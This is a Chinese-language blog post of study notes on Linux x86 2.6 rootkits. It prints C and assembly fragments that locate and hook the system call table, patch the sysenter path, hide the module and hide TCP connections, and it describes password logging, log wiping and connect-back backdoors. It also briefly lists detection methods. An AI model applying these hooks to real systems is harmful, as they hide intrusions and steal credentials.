Rootkit原理——ROOTKIT ON LINUX X86 V2.6

LKM Rootkit之HOOK系统调用表

一、修改系统调用表的地址

Linux机制 HOOK系统调用表方式
sys_call_table[]导出 sys_call_table[__NR_open] = (void *) my_func_ptr;
system_call函数 call *sys_call_table(,%eax,4)
陷阱门 SIDT——IDTR——IDT——set_system_gate(SYSCALL_VECTOR,&system_call);

在这里插入图片描述

在这里插入图片描述

struct idt_descriptor
{
    
    
unsigned short off_low;  //0-15
//32位环境中, unsigned short是2个字节,也就是16位。
unsigned short sel;   //Segment Selector
unsigned char none, flags;   //定义一个空字节,一个flags字节
//0-8位为空,9-15位是flags标志
unsigned short off_high;  //16-31
};

void *get_system_call(void)
{
    
    
unsigned char idtr[6];//定义idtr为6个字节,即是48位
unsigned long base;
struct idt_descriptor desc;//idt结构
asm ("sidt %0" : "=m" (idtr));
base = *((unsigned long *) &idtr[2]);
memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc));//通过idtr的0x81中断门计算idt地址:(n-1)*8
return((void *) ((desc.off_high << 16) + desc.off_low));//返回系统调用地址
} 

void *get_sys_call_table(void *system_call)
{
    
    
unsigned char *p;
unsigned long s_c_t;
int count = 0;
p = (unsigned char *) system_call;
while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))     //寻找FF 14 85
{
    
    
p++;
if (count++ > 500)
{
    
    
count = -1;
break;
}
}
if (count != -1)
{
    
    
p += 3;
s_c_t = *((unsigned long *) p);
}
else
s_c_t = 0;
return((void *) s_c_t);
} /********** fin get_sys_call_table() *************/

当然也可以直接HOOK int 0x80的系统调用句柄完成HOOK全部系统调用。

二、path系统调用过程的二进制代码

在这里插入图片描述

void set_sysenter_handler(void *sysenter)
{
    
    
unsigned char *p;
unsigned long *p2;
p = (unsigned char *) sysenter;
/* Seek "call *sys_call_table(,%eax,4)"*/
while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
p++;
/* Seek "jae syscall_badsys" */
while (!((*p == 0x0f) && (*(p+1) == 0x83)))
p--;
p -= 5;
memcpy(orig_sysenter, p, 6);
start_patch_sysenter = p;
/* We put the jump*/
*p++ = 0x68; /*pushl*/
p2 = (unsigned long *) p;
*p2++ = (unsigned long) ((void *) new_idt);
/*now, "jae"-->ret*/
p = (unsigned char *) p2;
*p = 0xc3; /*ret*/
} 

void new_idt(void)
{
    
    
ASMIDType
(
"cmp %0, %%eax \n"
"jae syscallbad \n"
"jmp hook \n"
"syscallbad: \n"
"jmp syscall_exit \n"
: : "i" (NR_syscalls)
);
} /********** fin new_idt() **************/

void hook(void)
{
    
    
register int eax asm("eax");
switch (eax)
{
    
    
case __NR_kill:
CallHookedSyscall(hacked_kill);
break;
default:
JmPushRet(syscall_call);
break;
}
JmPushRet( after_call );
} /*********** fin hook() ************/

检测方式:
一、保存每个系统调用的地址
二、保存每个系统调用代码实现的前31个HEX字节的校验和
三、保存本身计算校验和的代码

三、滥用DR寄存器

  当硬件断点被触发时,内核会调用do_debug()函数处理,我们可以根据IDT的INT 1h替换do_debug()函数。
在这里插入图片描述

非LKM Rootkit

  内存 主要通过==/dev/mem、/dev/kmem==设备直接操作内存。
  非LKM rootkit通过int 0x80调用kmalloc函数分配内存实现对内核的修改。先选择一个不常见的系统调用号,在sys_call_table中找到该项,通过写/dev/mem直接将其修改为 kmalloc函数的地址,这样当我们在用户空间调用该系统调用时,就能通过int 0x80进入内核空间,执行kmalloc函数分配内存,并将分配好的内存地址由eax寄存器返回,从而我们得到了一块属于内核地址空间的内存,接着将要 hack的函数写入该内存,并再次修改系统调用表,就能实现hook系统调用的功能。

Rootkit的常见功能

  隐藏文件:通过strace ls可以发现ls命令其实是通过sys_getdents64获得文件目录的,因此可以通过修改sys_getdents64系统调用或者更底层的 readdir实现隐藏文件及目录,还有对ext2文件系统直接进行修改的方法,不过实现起来不够方便,也有一些具体的限制。

  隐藏进程:隐藏进程的方法和隐藏文件类似,ps命令是通过读取/proc文件系统下的进程目录获得进程信息的,只要能够隐藏/proc文件系统下的进程目录就可以达到隐藏进程的效果,即hook sys_getdents64和readdir等。

隐藏连接:netstat命令是通过读取/proc文件系统下的net/tcp和net/udp文件获得当前连接信息,因此可以通过hook sys_read调用实现隐藏连接,也可以修改tcp4_seq_show和udp4_seq_show等函数实现。

  隐藏模块:lsmod命令主要是通过sys_query_module系统调用获得模块信息,可以通过hook sys_query_module系统调用隐藏模块,也可以通过将模块从内核模块链表中摘除从而达到隐藏效果。

  嗅探工具:嗅探工具可以通过libpcap库直接访问链路层,截获数据包,也可以通过linux的netfilter框架在IP层的hook点上截获数据包。嗅探器要获得网络上的其他数据包需要将网卡设置为混杂模式,这是通过ioctl系统调用的SIOCSIFFLAGS命令实现的,查看网卡的当前模式是通过SIOCGIFFLAGS命令,因此可以通过hook sys_ioctl隐藏网卡的混杂模式。

隐藏模块和网络的示例

struct module *m = &__this_module;
/* Delete from the module list*/
if (m->init == init_module)
list_del(&m->list);
struct proc_dir_entry *tcp = proc_net->subdir->next;
/* redefine tcp4_seq_show() */
while (strcmp(tcp->name, "tcp") && (tcp != proc_net->subdir))
tcp = tcp->next;
/* Hide TCP Connection Information in /proc/net/tcp */
if (tcp != proc_net->subdir)
{
    
    
orig_tcp4_seq_show = ((struct tcp_seq_afinfo *)(tcp->data))->seq_show;
((struct tcp_seq_afinfo *)(tcp->data))->seq_show = hacked_tcp4_seq_show;
}

  密码记录:密码记录可以通过hook sys_read系统调用实现,比如通过判断当前运行的进程名或者当前终端是否关闭回显,可以获取用户的输入密码。hook sys_read还可以实现login后门等其它功能。

  日志擦除:传统的unix日志主要在/var/log/messages,/var/log/lastlog,/var/run/utmp,/var /log/wtmp下,可以通过编写相应的工具对日志文件进行修改,还可以将HISTFILE等环境变设为/dev/null隐藏用户的一些操作信息。

  内核后门:可以是本地的提权后门和网络的监听后门,本地的提权可以通过对内核模块发送定制命令实现,网络内核后门可以在IP层对进入主机的数据包进行监听,发现匹配的指定数据包后立刻启动回连进程。

Rootkit的主要技术

  模块摘除:主要是指将模块从模块链表中摘除从而隐藏模块的方法,最新加载的模块总是在模块链表的表头,因此可以在加载完rootkit模块后再加载一个清除模块将rootkit模块信息从链表中删除,再退出清除模块,新版本内核中也可以通过判断模块信息后直接list_del。

  拦截中断:主要通过sidt指令获得中断调用表的地址,进而获取中断处理程序的入口地址,修改对应的中断处理程序,如int 0x80,int 0x1等。其中拦截int 0x1是较新的技术,主要利用系统的调试机制,通过设置DR寄存器在要拦截的内存地址上下断点,从而在执行到指定指令时转入0x1中断的处理程序,通过修改0x1中断的处理程序即可实现想要的功能。

  劫持系统调用:和拦截中断类似,但主要是对系统调用表进行修改,可以直接替换原系统调用表,也可以修改系统调用表的入口地址。在2.4内核之前,内核的系统调用表地址是导出的,因此可以直接对其进行修改。但在2.6内核之后,系统调用表的地址已经不再导出,需要对0x80中断处理程序进行分析从而获取系统调用表的地址。

  运行时补丁patch:字符设备驱动程序和块设备驱动程序在加载时都会向系统注册一个Struct file_operations结构实现指定的read、write等操作,文件系统也是如此,通过修改文件系统的file_operations结构,可以实现新的read、write操作等。

  端口反弹:主要是为了更好的突破防火墙的限制,可以在客户端上监听80端口,而在服务器端通过对客户端的80端口进行回连,伪装成一个访问web服务的正常进程从而突破防火墙的限制。

参考文献

本篇来自WangYao的《Rootkit on Linux x86 v2.6》的学习笔记

猜你喜欢

转载自blog.csdn.net/qq_43312649/article/details/108345738